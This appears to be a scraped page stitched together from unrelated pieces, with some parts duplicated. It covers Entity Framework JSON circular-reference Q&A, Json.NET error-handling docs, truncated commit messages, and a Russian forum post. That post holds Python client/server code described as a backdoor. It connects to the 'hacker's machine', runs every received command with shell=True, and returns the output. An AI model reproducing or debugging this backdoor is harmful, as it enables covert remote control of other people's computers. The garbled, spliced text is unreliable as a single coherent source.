Ошибка сериализации json

Just as mentioned in this post, I am getting a Json serialization error while serializing an Entity Framework Proxy: A circular reference was detected while serializing an object of type 'System.

Just as mentioned in this post, I am getting a Json serialization error while serializing an Entity Framework Proxy:

A circular reference was detected while serializing an object of type
‘System.Data.Entity.DynamicProxies.PurchaseOrder_446B939192F161CDBC740067F174F7A6059B0F9C0EEE68CD3EBBD63CF9AF5BD0’.

But the difference is, I don’t have a circular reference in my entities, and it only occurs in our production environment. Locally everything works fine…

My Entities:

public interface IEntity
{
    Guid UniqueId { get; }
    int Id { get; }
} 

public class Entity : IEntity
{
    public int Id { get; set; }
    public Guid UniqueId { get; set; }
}

public class PurchaseOrder : Entity
{
    public string Username { get; set; }
    public string Company { get; set; }

    public string SupplierId { get; set; }
    public string SupplierName { get; set; }

    public virtual ICollection<PurchaseOrderLine> Lines { get; set; }
}

public class PurchaseOrderLine : Entity
{
    public string Code { get; set; }
    public string Name { get; set; }
    public decimal Quantity { get; set; }
}

The GetCurrent action on my PurchaseOrderController throwing the exception:

public class PurchaseOrderController : Controller
{
    private readonly IUnitOfWork _unitOfWork;

    public PurchaseOrderController(IUnitOfWork unitOfWork)
    {
        _unitOfWork = unitOfWork;
    }

    public JsonResult GetCurrent()
    {
        return Json(EnsurePurchaseOrder(), JsonRequestBehavior.AllowGet);
    }

    private PurchaseOrder EnsurePurchaseOrder()
    {
        var company = RouteData.GetRequiredString("company");
        var repository = _unitOfWork.GetRepository<PurchaseOrder>();

        var purchaseOrder = repository
                .Include(p => p.Lines)
                .FirstOrDefault
                (
                    p => p.Company == company && 
                         p.Username == User.Identity.Name
                );

        if (purchaseOrder == null)
        {
            purchaseOrder = repository.Create();
            purchaseOrder.UniqueId = Guid.NewGuid();
            purchaseOrder.Company = company;
            purchaseOrder.Username = User.Identity.Name;
            _unitOfWork.SaveChanges();
        }

        return purchaseOrder;
    }
}

Community's user avatar

asked Jun 5, 2013 at 20:44

Mathijs's user avatar

6

Option 1 (recommended)

Try turning off Proxy object creation on your DbContext.

DbContext.Configuration.ProxyCreationEnabled = false;

Typically this scenario is because the application is using POCO objects (Either T4 Generated or Code-First). The problem arises when Entity Framework wants to track changes in your object which is not built into POCO objects. To resolve this, EF creates proxy objects which lack the attributes in the POCO objects, and aren’t serializable.

The reasons why I recommend this approach; using a website means that you probably don’t need change tracking (stateful) on Entity Framework objects, it free’s up memory and cpu because change tracking is disabled and it will work consistantly on all your objects the same way.

Option 2

Use a serializer (like JSON.Net which is already included in ASP.Net 4) that allows customization to serialize the object(s).

The reasons I do not recommend this approach is that eventually custom object serialization logic will be need to serial proxy objects as other objects types. This means you have a dependency on logic to deliver a result downstream. Changing the object means changing logic, and in an ASP.Net MVC project (any version) instead of only changing a View you have some thing else to change that is not readily known outside of whoever wrote the logic first.

Option 3 (Entity Framework 5.x +)

Use .AsNoTracking() which will disable the proxy objects on the specific query. If you need to use change tracking, this allows a nice intermediate solution to solution #1.

Community's user avatar

answered Jun 6, 2013 at 16:57

Erik Philips's user avatar

Erik PhilipsErik Philips

52.7k11 gold badges127 silver badges149 bronze badges

8

I spent countless hours attempting all of the various solutions I found scattered throughout the web, including:

  • [JsonIgnore]
  • Internal Getters
  • Disabling LazyLoadingEnabled and ProxyCreationEnabled
  • Setting ReferenceLoopHandling to «ignore»
  • Carefully using explicit loading where needed

All of which ultimately proved fruitless for me. Ignoring a property helped one query, but hurt 3 others. It felt like the programming equivalent to whack-a-mole.

The context of my problem was that the data going in an out of my application had to be JSON. No way around it. Inserts and updates obviously pose much less of a problem. But selecting data that’s stored in a normalized database (and in my case including a version history) to be serialized is a nightmare.

The solution:

Return the data (properties) you need as anonymous objects.

A code example:

In this case I needed the 3 latest tickets, based on «Date Scheduled». But also needed several properties stored in related entities.

var tickets =
     context.TicketDetails
    .Where(t => t.DateScheduled >= DateTime.Now)
    .OrderBy(t => t.DateScheduled)
    .Take(3)
    .Include(t => t.Ticket)
    .Include(t => t.Ticket.Feature)
    .Include(t => t.Ticket.Feature.Property)
    .AsEnumerable()
    .Select(
        t =>
        new {
            ID = t.Ticket.ID,
            Address = t.Ticket.Feature.Property.Address,
            Subject = t.Ticket.Subject,
            DateScheduled = String.Format("{0:MMMM dd, yyyy}", t.DateScheduled)
    }
);

And voila, no self referencing loops.

I realize this situation may not be adequate in all cases given that entities and objects may change. But it’s certainly worth some consideration if all else fails.

answered Mar 20, 2015 at 21:34

pim's user avatar

pimpim

11.7k5 gold badges65 silver badges66 bronze badges

3

Whatever classes have the reference of other class just add attribute like this

[Newtonsoft.Json.JsonIgnoreAttribute]
public virtual ICollection<PurchaseOrderLine> Lines { get; set; }

Now everything work smooth

answered Nov 17, 2014 at 15:55

Ali Adravi's user avatar

Ali AdraviAli Adravi

21k9 gold badges83 silver badges83 bronze badges

1

I was having the same issue, what I have done is have passed only needed column to view , In my case. only 2.

 List<SubCategory> lstSubCategory = GetSubCateroy() // list from repo

 var subCategoryToReturn = lstSubCategory.Select(S => new { Id  = S.Id, Name = S.Name }); 

return this.Json(subCategoryToReturn , JsonRequestBehavior.AllowGet);

answered Mar 26, 2016 at 11:29

BJ Patel's user avatar

BJ PatelBJ Patel

6,10611 gold badges46 silver badges81 bronze badges

0

I had the same error, however I saw it both on production server and locally. Changing the DbContext configuration didn’t quite solve my issue. A different solution was presented to me with the

[IgnoreDataMember]

attribute on DB entity references. See the post here if this sounds more pertinent to your issue.

ASP.NET Web API Serialized JSON Error: «Self Referencing loop»

Community's user avatar

answered Jun 2, 2014 at 17:48

Freestyle076's user avatar

Freestyle076Freestyle076

1,53819 silver badges36 bronze badges

3

In your DbContext class, add this line of code:

this.Configuration.ProxyCreationEnabled = false;

For example:

public partial class EmpDBEntities : DbContext
{
    public EmpDBEntities()
        : base("name=EmpDBEntities")
    {
        this.Configuration.ProxyCreationEnabled = false;
    }

    protected override void OnModelCreating(DbModelBuilder modelBuilder)
    {
        throw new UnintentionalCodeFirstException();
    }

    public virtual DbSet<Department> Departments { get; set; }
    public virtual DbSet<Employee> Employees { get; set; }
}

johnnyRose's user avatar

johnnyRose

7,11017 gold badges42 silver badges61 bronze badges

answered May 25, 2017 at 23:04

Abdi's user avatar

AbdiAbdi

2643 silver badges5 bronze badges

1

The circular reference happens because you use eager loading on the object.

You have 3 methods:

  • Turn off eager loading when your loading your Query (linq or lambda)
    DbContext.Configuration.ProxyCreationEnabled = false;
  • Detach the objects (= no eager loading functionality & no proxy)
    • Repository.Detach(entityObject)
    • DbContext.Entry(entityObject).EntityState = EntityState.Detached
  • Clone the properties
    • You could use something like AutoMapper to clone the object, don’t use the ICloneable interface, because it also clones the ProxyProperties in the object, so that won’t work.
  • In case you are building an API, try using a separte project with a different configuration (that doesn’t return proxies)

PS. Proxies is the object that’s created by EF when you load it from the Entity Framework. In short: It means that it holds the original values and updated values so they can be updated later. It handles other things to ;-)

answered Mar 4, 2014 at 11:35

NicoJuicy's user avatar

NicoJuicyNicoJuicy

3,3853 gold badges40 silver badges63 bronze badges

I had the same problem and resolved it by un-checking Json.NET in the project Extensions in the Reference Manager.

(see the image http://i.stack.imgur.com/RqbXZ.png)

I also had to change the project.csproj file to map the correct path for the new version:

<Reference Include="Newtonsoft.Json">
  <HintPath>..packagesNewtonsoft.Json.6.0.5libnet45Newtonsoft.Json.dll</HintPath>
</Reference>

and still had to configure the web.config

  <dependentAssembly>
    <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />
    <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
  </dependentAssembly>

Note that in the web.config file I was forced to refer to the OLDER (6.0.0.0) version though the installed version was 6.0.5.

Hope it helps!

answered Sep 23, 2014 at 18:14

Marco's user avatar

MarcoMarco

3293 silver badges8 bronze badges

Just as mentioned in this post, I am getting a Json serialization error while serializing an Entity Framework Proxy:

A circular reference was detected while serializing an object of type
‘System.Data.Entity.DynamicProxies.PurchaseOrder_446B939192F161CDBC740067F174F7A6059B0F9C0EEE68CD3EBBD63CF9AF5BD0’.

But the difference is, I don’t have a circular reference in my entities, and it only occurs in our production environment. Locally everything works fine…

My Entities:

public interface IEntity
{
    Guid UniqueId { get; }
    int Id { get; }
} 

public class Entity : IEntity
{
    public int Id { get; set; }
    public Guid UniqueId { get; set; }
}

public class PurchaseOrder : Entity
{
    public string Username { get; set; }
    public string Company { get; set; }

    public string SupplierId { get; set; }
    public string SupplierName { get; set; }

    public virtual ICollection<PurchaseOrderLine> Lines { get; set; }
}

public class PurchaseOrderLine : Entity
{
    public string Code { get; set; }
    public string Name { get; set; }
    public decimal Quantity { get; set; }
}

The GetCurrent action on my PurchaseOrderController throwing the exception:

public class PurchaseOrderController : Controller
{
    private readonly IUnitOfWork _unitOfWork;

    public PurchaseOrderController(IUnitOfWork unitOfWork)
    {
        _unitOfWork = unitOfWork;
    }

    public JsonResult GetCurrent()
    {
        return Json(EnsurePurchaseOrder(), JsonRequestBehavior.AllowGet);
    }

    private PurchaseOrder EnsurePurchaseOrder()
    {
        var company = RouteData.GetRequiredString("company");
        var repository = _unitOfWork.GetRepository<PurchaseOrder>();

        var purchaseOrder = repository
                .Include(p => p.Lines)
                .FirstOrDefault
                (
                    p => p.Company == company && 
                         p.Username == User.Identity.Name
                );

        if (purchaseOrder == null)
        {
            purchaseOrder = repository.Create();
            purchaseOrder.UniqueId = Guid.NewGuid();
            purchaseOrder.Company = company;
            purchaseOrder.Username = User.Identity.Name;
            _unitOfWork.SaveChanges();
        }

        return purchaseOrder;
    }
}

Community's user avatar

asked Jun 5, 2013 at 20:44

Mathijs's user avatar

6

Option 1 (recommended)

Try turning off Proxy object creation on your DbContext.

DbContext.Configuration.ProxyCreationEnabled = false;

Typically this scenario is because the application is using POCO objects (Either T4 Generated or Code-First). The problem arises when Entity Framework wants to track changes in your object which is not built into POCO objects. To resolve this, EF creates proxy objects which lack the attributes in the POCO objects, and aren’t serializable.

The reasons why I recommend this approach; using a website means that you probably don’t need change tracking (stateful) on Entity Framework objects, it free’s up memory and cpu because change tracking is disabled and it will work consistantly on all your objects the same way.

Option 2

Use a serializer (like JSON.Net which is already included in ASP.Net 4) that allows customization to serialize the object(s).

The reasons I do not recommend this approach is that eventually custom object serialization logic will be need to serial proxy objects as other objects types. This means you have a dependency on logic to deliver a result downstream. Changing the object means changing logic, and in an ASP.Net MVC project (any version) instead of only changing a View you have some thing else to change that is not readily known outside of whoever wrote the logic first.

Option 3 (Entity Framework 5.x +)

Use .AsNoTracking() which will disable the proxy objects on the specific query. If you need to use change tracking, this allows a nice intermediate solution to solution #1.

Community's user avatar

answered Jun 6, 2013 at 16:57

Erik Philips's user avatar

Erik PhilipsErik Philips

52.7k11 gold badges127 silver badges149 bronze badges

8

I spent countless hours attempting all of the various solutions I found scattered throughout the web, including:

  • [JsonIgnore]
  • Internal Getters
  • Disabling LazyLoadingEnabled and ProxyCreationEnabled
  • Setting ReferenceLoopHandling to «ignore»
  • Carefully using explicit loading where needed

All of which ultimately proved fruitless for me. Ignoring a property helped one query, but hurt 3 others. It felt like the programming equivalent to whack-a-mole.

The context of my problem was that the data going in an out of my application had to be JSON. No way around it. Inserts and updates obviously pose much less of a problem. But selecting data that’s stored in a normalized database (and in my case including a version history) to be serialized is a nightmare.

The solution:

Return the data (properties) you need as anonymous objects.

A code example:

In this case I needed the 3 latest tickets, based on «Date Scheduled». But also needed several properties stored in related entities.

var tickets =
     context.TicketDetails
    .Where(t => t.DateScheduled >= DateTime.Now)
    .OrderBy(t => t.DateScheduled)
    .Take(3)
    .Include(t => t.Ticket)
    .Include(t => t.Ticket.Feature)
    .Include(t => t.Ticket.Feature.Property)
    .AsEnumerable()
    .Select(
        t =>
        new {
            ID = t.Ticket.ID,
            Address = t.Ticket.Feature.Property.Address,
            Subject = t.Ticket.Subject,
            DateScheduled = String.Format("{0:MMMM dd, yyyy}", t.DateScheduled)
    }
);

And voila, no self referencing loops.

I realize this situation may not be adequate in all cases given that entities and objects may change. But it’s certainly worth some consideration if all else fails.

answered Mar 20, 2015 at 21:34

pim's user avatar

pimpim

11.7k5 gold badges65 silver badges66 bronze badges

3

Whatever classes have the reference of other class just add attribute like this

[Newtonsoft.Json.JsonIgnoreAttribute]
public virtual ICollection<PurchaseOrderLine> Lines { get; set; }

Now everything work smooth

answered Nov 17, 2014 at 15:55

Ali Adravi's user avatar

Ali AdraviAli Adravi

21k9 gold badges83 silver badges83 bronze badges

1

I was having the same issue, what I have done is have passed only needed column to view , In my case. only 2.

 List<SubCategory> lstSubCategory = GetSubCateroy() // list from repo

 var subCategoryToReturn = lstSubCategory.Select(S => new { Id  = S.Id, Name = S.Name }); 

return this.Json(subCategoryToReturn , JsonRequestBehavior.AllowGet);

answered Mar 26, 2016 at 11:29

BJ Patel's user avatar

BJ PatelBJ Patel

6,10611 gold badges46 silver badges81 bronze badges

0

I had the same error, however I saw it both on production server and locally. Changing the DbContext configuration didn’t quite solve my issue. A different solution was presented to me with the

[IgnoreDataMember]

attribute on DB entity references. See the post here if this sounds more pertinent to your issue.

ASP.NET Web API Serialized JSON Error: «Self Referencing loop»

Community's user avatar

answered Jun 2, 2014 at 17:48

Freestyle076's user avatar

Freestyle076Freestyle076

1,53819 silver badges36 bronze badges

3

In your DbContext class, add this line of code:

this.Configuration.ProxyCreationEnabled = false;

For example:

public partial class EmpDBEntities : DbContext
{
    public EmpDBEntities()
        : base("name=EmpDBEntities")
    {
        this.Configuration.ProxyCreationEnabled = false;
    }

    protected override void OnModelCreating(DbModelBuilder modelBuilder)
    {
        throw new UnintentionalCodeFirstException();
    }

    public virtual DbSet<Department> Departments { get; set; }
    public virtual DbSet<Employee> Employees { get; set; }
}

johnnyRose's user avatar

johnnyRose

7,11017 gold badges42 silver badges61 bronze badges

answered May 25, 2017 at 23:04

Abdi's user avatar

AbdiAbdi

2643 silver badges5 bronze badges

1

The circular reference happens because you use eager loading on the object.

You have 3 methods:

  • Turn off eager loading when your loading your Query (linq or lambda)
    DbContext.Configuration.ProxyCreationEnabled = false;
  • Detach the objects (= no eager loading functionality & no proxy)
    • Repository.Detach(entityObject)
    • DbContext.Entry(entityObject).EntityState = EntityState.Detached
  • Clone the properties
    • You could use something like AutoMapper to clone the object, don’t use the ICloneable interface, because it also clones the ProxyProperties in the object, so that won’t work.
  • In case you are building an API, try using a separte project with a different configuration (that doesn’t return proxies)

PS. Proxies is the object that’s created by EF when you load it from the Entity Framework. In short: It means that it holds the original values and updated values so they can be updated later. It handles other things to ;-)

answered Mar 4, 2014 at 11:35

NicoJuicy's user avatar

NicoJuicyNicoJuicy

3,3853 gold badges40 silver badges63 bronze badges

I had the same problem and resolved it by un-checking Json.NET in the project Extensions in the Reference Manager.

(see the image http://i.stack.imgur.com/RqbXZ.png)

I also had to change the project.csproj file to map the correct path for the new version:

<Reference Include="Newtonsoft.Json">
  <HintPath>..packagesNewtonsoft.Json.6.0.5libnet45Newtonsoft.Json.dll</HintPath>
</Reference>

and still had to configure the web.config

  <dependentAssembly>
    <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />
    <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
  </dependentAssembly>

Note that in the web.config file I was forced to refer to the OLDER (6.0.0.0) version though the installed version was 6.0.5.

Hope it helps!

answered Sep 23, 2014 at 18:14

Marco's user avatar

MarcoMarco

3293 silver badges8 bronze badges

I am getting an a Circular Reference Serialization Error although, to my knowledge I do not have any circular references. I am retrieving a set of Orders from the database and sending them to the client as JSON. All the code is shown below.

This is the error:

Error

A circular reference was detected
while serializing an object of type
‘System.Data.Entity.DynamicProxies.Order_83CECF2AA4DE38232F9077D4B26941AB96BC61230419EA8AC42C9100E6072812’.
Description: An unhandled exception
occurred during the execution of the
current web request. Please review the
stack trace for more information about
the error and where it originated in
the code.

Exception Details:
System.InvalidOperationException: A
circular reference was detected while
serializing an object of type
‘System.Data.Entity.DynamicProxies.Order_83CECF2AA4DE38232F9077D4B26941AB96BC61230419EA8AC42C9100E6072812’.

Source Error:

An unhandled exception was generated
during the execution of the current
web request. Information regarding the
origin and location of the exception
can be identified using the exception
stack trace below.

My classes are as follows:

Order

public class Order
{
    [Key]
    public int OrderId { get; set; }

    public int PatientId { get; set; }
    public virtual Patient Patient { get; set; }

    public int CertificationPeriodId { get; set; }
    public virtual CertificationPeriod CertificationPeriod { get; set; }

    public int AgencyId { get; set; }
    public virtual Agency Agency { get; set; }

    public int PrimaryDiagnosisId { get; set; }
    public virtual Diagnosis PrimaryDiagnosis { get; set; }

    public int ApprovalStatusId { get; set; }
    public virtual OrderApprovalStatus ApprovalStatus { get; set; }

    public int ApproverId { get; set; }
    public virtual User Approver { get; set; }

    public int SubmitterId { get; set; }
    public virtual User Submitter { get; set; }

    public DateTime ApprovalDate { get; set; }

    public DateTime SubmittedDate { get; set; }
    public Boolean IsDeprecated { get; set; }
}

Patient

public class Patient
{
    [Key]
    public int PatientId { get; set; }
    public string FirstName { get; set; }
    public string LastName { get; set; }
    public string MiddleInitial { get; set; }
    public bool IsMale;
    public DateTime DateOfBirth { get; set; }

    public int PatientAddressId { get; set; }
    public Address PatientAddress { get; set; }

    public bool IsDeprecated { get; set; }
}

Certification Period

public class CertificationPeriod
{
    [Key]
    public int CertificationPeriodId { get; set; }
    public DateTime startDate { get; set; }
    public DateTime endDate { get; set; }
    public bool isDeprecated { get; set; }
}

Agency

public class Agency
{
    [Key]
    public int AgencyId { get; set; }
    public string Name { get; set; }

    public int PatientAddressId { get; set; }
    public virtual Address Address { get; set; }
}

Diagnosis

public class Diagnosis
{
    [Key]
    public int DiagnosisId { get; set; }
    public string Icd9Code { get; set; }
    public string Description { get; set; }
    public DateTime DateOfDiagnosis { get; set; }
    public string Onset { get; set; }
    public string Details { get; set; }
}

OrderApprovalStatus

public class OrderApprovalStatus
{
    [Key]
    public int OrderApprovalStatusId { get; set; }
    public string Status { get; set; }
}

User

public class User
{
    [Key]
    public int UserId { get; set; }
    public string Login { get; set; }
    public string FirstName { get; set; }
    public string LastName { get; set; }
    public string NPI { get; set; }
    public string Email { get; set; }

}

NOTE: ADDRESS CLASS IS NEW ADDITION DURING EDIT

Address

public class Address
{
    [Key]
    public int AddressId { get; set; }
    public string StreetAddress { get; set; }
    public string City { get; set; }
    public string State { get; set; }
    public string Zip { get; set; }
    public string Phone { get; set; }
    public string Title { get; set; }
    public string Label { get; set; }
}

The code that executes the serialization is here:

Excerpt from OrderController

    public ActionResult GetAll()
    {
        return Json(ppEFContext.Orders, JsonRequestBehavior.AllowGet);
    }

Thanks

28.06.2020, 15:33. Показов 1367. Ответов 4


использую pycharm кодировка выставлена utf-8
есть клиент и сервер
на сервере посылаем команду клиенту,клиент должен вернуть результат команды
в результате ошибка:

на стороне клиента:

Traceback (most recent call last):
File «C:/Users/andelkova/untitled/clie.py», line 30, in <module>
a.run()
File «C:/Users/andelkova/untitled/clie.py», line 23, in run
data = self.reliable_recv() # клиент принимает и передает в параметр функции
File «C:/Users/andelkova/untitled/clie.py», line 12, in reliable_recv
return json.loads(json_data.decode(‘utf-8’)) # поскольку метод recv() нам нужно вернуть эти данные
File «C:UsersandelkovaAppDataLocalProgramsPython Python38-32libjson__init__.py», line 357, in loads
return _default_decoder.decode(s)
File «C:UsersandelkovaAppDataLocalProgramsPython Python38-32libjsondecoder.py», line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File «C:UsersandelkovaAppDataLocalProgramsPython Python38-32libjsondecoder.py», line 355, in raw_decode
raise JSONDecodeError(«Expecting value», s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

на стороне сервера:

Traceback (most recent call last):
File «C:/Users/andelkova/untitled/serv.py», line 39, in <module>
a.run()
File «C:/Users/andelkova/untitled/serv.py», line 32, in run
res = self.remote(data.encode())
File «C:/Users/andelkova/untitled/serv.py», line 26, in remote
self.reliable_send(command)
File «C:/Users/andelkova/untitled/serv.py», line 18, in reliable_send
json_data=json.dumps(data) # этот метод возвращает строку в формате JSON
File «C:UsersandelkovaAppDataLocalProgramsPython Python38-32libjson__init__.py», line 231, in dumps
return _default_encoder.encode(obj)
File «C:UsersandelkovaAppDataLocalProgramsPython Python38-32libjsonencoder.py», line 199, in encode
chunks = self.iterencode(o, _one_shot=True)
File «C:UsersandelkovaAppDataLocalProgramsPython Python38-32libjsonencoder.py», line 257, in iterencode
return _iterencode(o, 0)
File «C:UsersandelkovaAppDataLocalProgramsPython Python38-32libjsonencoder.py», line 179, in default
raise TypeError(f’Object of type {o.__class__.__name__} ‘
TypeError: Object of type bytes is not JSON serializable

весь код сервера и клиента :

Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
class Server:
 
    def __init__(self, ip, port):
 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((ip, port))  # в этом коде исп. две переменные ip и port
        s.listen(5)
        print('[+] Waiting for incoming connections')
        self.conn, self.addr = s.accept()  # исп. далее в нашем коде поэтому конвертируем в атрибут self
        print('incoming from: ', self.addr)
 
    def reliable_send(self,data):               # в качестве inputa этот метод будет исп.данные которые нужно отправить
        json_data=json.dumps(data)              # этот метод возвращает строку в формате JSON
        self.conn.send(json_data.encode('utf-8'))
 
    def reliable_recv(self):                 #в бесконечном цикле добавляем блок try чтобы получать данные
        json_data=self.conn.recv(1024).decode('utf-8')
        return json.loads(json_data)         # поскольку метод recv() нам нужно вернуть эти данные
 
    def remote(self, command):          # каждый раз когда надо будет выполнить команду мы будем обрабатывать вот здесь
        self.reliable_send(command)
        return self.reliable_recv()
 
    def run(self):
        while True:
            data = input()
            res = self.remote(data.encode())
            print(res.decode('cp866'))
 
a = Server('192.168.1.106', 4452)
a.run()
 
 
class Client:
    def __init__(self, ip, port):
        self.c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.c.connect((ip, port))
 
    def reliable_recv(self):
        json_data=self.c.recv(1024)     # получаем данные и конвертируем из 'json' в объект 'python'
        return json.loads(json_data.decode('utf-8'))     # поскольку метод recv() нам нужно вернуть эти данные
 
    def reliable_send(self,data):                  # в качестве inputa этот метод будет исп.данные которые нужно отправить
        json_data=json.dumps(data)              # этот метод возвращает строку в формате JSON
        self.c.send(json_data.encode('utf-8'))
 
    def system_command(self, command):
        return subprocess.check_output(command, shell=True)  # - выполняет команду и возвращает её вывод
 
    def run(self):
        while True:                             # на сервере посылаем команду клиенту
            data = self.reliable_recv()           # клиент принимает и передает в параметр функции
            result = self.system_command(data) # что функция вернула, записываем в переменную
            self.reliable_send(result)                # посылаем результат серверу
 
 
try:                                  # если при загрузке бэкдор не сможет приконектитса к машине хакера,вылезет ошибка
    a = Client('192.168.1.106', 4452)   # исключим все типы исключений except Exception
    a.run()
except socket.error:
    exit(0)

__________________
Помощь в написании контрольных, курсовых и дипломных работ, диссертаций здесь



0



Json.NET supports error handling during serialization and deserialization. Error handling lets
you catch an error and choose whether to handle it and continue with serialization or let the error
bubble up and be thrown in your application.

Error handling is defined through two methods:
the Error event on JsonSerializer and the OnErrorAttribute.

Error Event

The Error event is an event handler found on JsonSerializer. The error event is raised whenever an
exception is thrown while serializing or deserialing JSON. Like all settings found on JsonSerializer
it can also be set on JsonSerializerSettings and passed to the serialization methods on JsonConvert.

List<string> errors = new List<string>();
 
List<DateTime> c = JsonConvert.DeserializeObject<List<DateTime>>(@"[
  ""2009-09-09T00:00:00Z"",
  ""I am not a date and will error!"",
  [
    1
  ],
  ""1977-02-20T00:00:00Z"",
  null,
  ""2000-12-01T00:00:00Z""
]",
  new JsonSerializerSettings
    {
      Error = delegate(object sender, ErrorEventArgs args)
        {
          errors.Add(args.ErrorContext.Error.Message);
          args.ErrorContext.Handled = true;
        },
      Converters = { new IsoDateTimeConverter() }
    });
 
// 2009-09-09T00:00:00Z
// 1977-02-20T00:00:00Z
// 2000-12-01T00:00:00Z
 
// The string was not recognized as a valid DateTime. There is a unknown word starting at index 0.
// Unexpected token parsing date. Expected String, got StartArray.
// Cannot convert null value to System.DateTime.

In this example we are deserializing a JSON array to a collection of DateTimes. On the JsonSerializerSettings
a handler has been assigned to the Error event which will log the error message and mark the error as handled.

The result of deserializing the JSON is three successfully deserialized dates and three error messages:
one for the badly formatted string, «I am not a date and will error!», one for the nested JSON array and one
for the null value since the list doesn’t allow nullable DateTimes. The event handler has logged these messages
and Json.NET has continued on deserializing the JSON because the errors were marked as handled.

One thing to note with error handling in Json.NET is that an unhandled error will bubble up and raise the event
on each of its parents, e.g. an unhandled error when serializing a collection of objects will be raised twice,
once against the object and then again on the collection. This will let you handle an error either where it
occurred or on one of its parents.

JsonSerializer serializer = new JsonSerializer();
serializer.Error += delegate(object sender, ErrorEventArgs args)
  {
    // only log an error once
    if (args.CurrentObject == args.ErrorContext.OriginalObject)
      errors.Add(args.ErrorContext.Error.Message);
  };

If you aren’t immediately handling an error and only want to perform an action against it once then
you can check to see whether the ErrorEventArg’s CurrentObject is equal to the OriginalObject.
OriginalObject is the object that threw the error and CurrentObject is the object that the event is being raised
against. They will only equal the first time the event is raised against the OriginalObject.

OnErrorAttribute

The OnErrorAttribute works much like the other .NET serialization attributes that Json.NET supports.
To use it you simply place the attribute on a method which takes the correct parameters: a StreamingContext and a ErrorContext.
The name of the method doesn’t matter.

public class PersonError
{
  private List<string> _roles;
 
  public string Name { get; set; }
  public int Age { get; set; }
  public List<string> Roles
  {
    get
    {
      if (_roles == null)
        throw new Exception("Roles not loaded!");
 
      return _roles;
    }
    set { _roles = value; }
  }
  public string Title { get; set; }
 
  [OnError]
  internal void OnError(StreamingContext context, ErrorContext errorContext)
  {
    errorContext.Handled = true;
  }
}

In this example accessing the the Roles property will throw an exception when no roles have
been set. The HandleError method will set the error when serializing Roles as handled and allow Json.NET to continue
serializing the class.

PersonError person = new PersonError
  {
    Name = "George Michael Bluth",
    Age = 16,
    Roles = null,
    Title = "Mister Manager"
  };
 
string json = JsonConvert.SerializeObject(person, Formatting.Indented);
 
Console.WriteLine(json);
//{
//  "Name": "George Michael Bluth",
//  "Age": 16,
//  "Title": "Mister Manager"
//}

Comments

@AlexeyKhrenov

knocte

added a commit
to nblockchain/geewallet
that referenced
this issue

Dec 16, 2020

@knocte

JSON deserialization of exceptions is extremely broken in JSON.NET [1]
(and even in System.Text.Json [2]), so let's use a hybrid between binary
serialization and JSON serialization: it will have a JSON part that hints
about the most important human-readable details, but it will use a JSON
element to marshall in binary-to-default-encoding-based-string format.

(I could have written a JsonConverter for this, but I was having trouble
finding one out there that someone else had written already, then I decided
to go for the simplest solution that I can write myself. I hate JSON type
converters anyway.)

[1] JamesNK/Newtonsoft.Json#801
[2] dotnet/runtime#43026

knocte

added a commit
to nblockchain/geewallet
that referenced
this issue

Dec 16, 2020

@knocte

JSON deserialization of exceptions is extremely broken in JSON.NET [1]
(and even in System.Text.Json [2]), so let's use a hybrid between binary
serialization and JSON serialization: it will have a JSON part that hints
about the most important human-readable details, but it will use a JSON
element to marshall in binary-to-default-encoding-based-string format.

(I could have written a JsonConverter for this, but I was having trouble
finding one out there that someone else had written already, then I decided
to go for the simplest solution that I can write myself. I hate JSON type
converters anyway.)

NOTE: we had to use UTF-8 (instead of Encoding.Default) because otherwise
the tests (committed from my macOS) would fail on Windows CI. Don't ask
me why, I hate encodings too.

[1] JamesNK/Newtonsoft.Json#801
[2] dotnet/runtime#43026

knocte

added a commit
to nblockchain/geewallet
that referenced
this issue

Dec 16, 2020

@knocte

JSON deserialization of exceptions is extremely broken in JSON.NET [1]
(and even in System.Text.Json [2]), so let's use a hybrid between binary
serialization and JSON serialization: it will have a JSON part that hints
about the most important human-readable details, but it will use a JSON
element to marshall in binary-to-default-encoding-based-string format.

(I could have written a JsonConverter for this, but I was having trouble
finding one out there that someone else had written already, then I decided
to go for the simplest solution that I can write myself. I hate JSON type
converters anyway.)

NOTE: we had to use ASCII (instead of Encoding.Default) because otherwise
the tests (committed from my macOS) would fail on Windows CI (UTF-8 would
fail too because of [3]0. Don't ask me why, I hate encodings too.

[1] JamesNK/Newtonsoft.Json#801
[2] dotnet/runtime#43026
[3] https://stackoverflow.com/a/13674508/544947

knocte

added a commit
to nblockchain/geewallet
that referenced
this issue

Dec 16, 2020

@knocte

JSON deserialization of exceptions is extremely broken in JSON.NET [1]
(and even in System.Text.Json [2]), so let's use a hybrid between binary
serialization and JSON serialization: it will have a JSON part that hints
about the most important human-readable details, but it will use a JSON
element to marshall in binary-to-default-encoding-based-string format.

(I could have written a JsonConverter for this, but I was having trouble
finding one out there that someone else had written already, then I decided
to go for the simplest solution that I can write myself. I hate JSON type
converters anyway.)

NOTE: we had to use Base64 because using any of the System.Text encodings
(like Encoding.Default, ASCII, UTF-8 or UTF-7) would make the tests fail
fail in weird ways (or only pass for certain OSs, e.g. see [3]). Don't
ask me why, I hate encodings too.

[1] JamesNK/Newtonsoft.Json#801
[2] dotnet/runtime#43026
[3] https://stackoverflow.com/a/13674508/544947

knocte

added a commit
to nblockchain/geewallet
that referenced
this issue

Dec 20, 2020

@knocte

JSON deserialization of exceptions is extremely broken in JSON.NET [1]
(and even in System.Text.Json [2]), so let's use a hybrid between binary
serialization and JSON serialization: it will have a JSON part that hints
about the most important human-readable details, but it will use a JSON
element to marshall in binary-to-default-encoding-based-string format.

(I could have written a JsonConverter for this, but I was having trouble
finding one out there that someone else had written already, then I decided
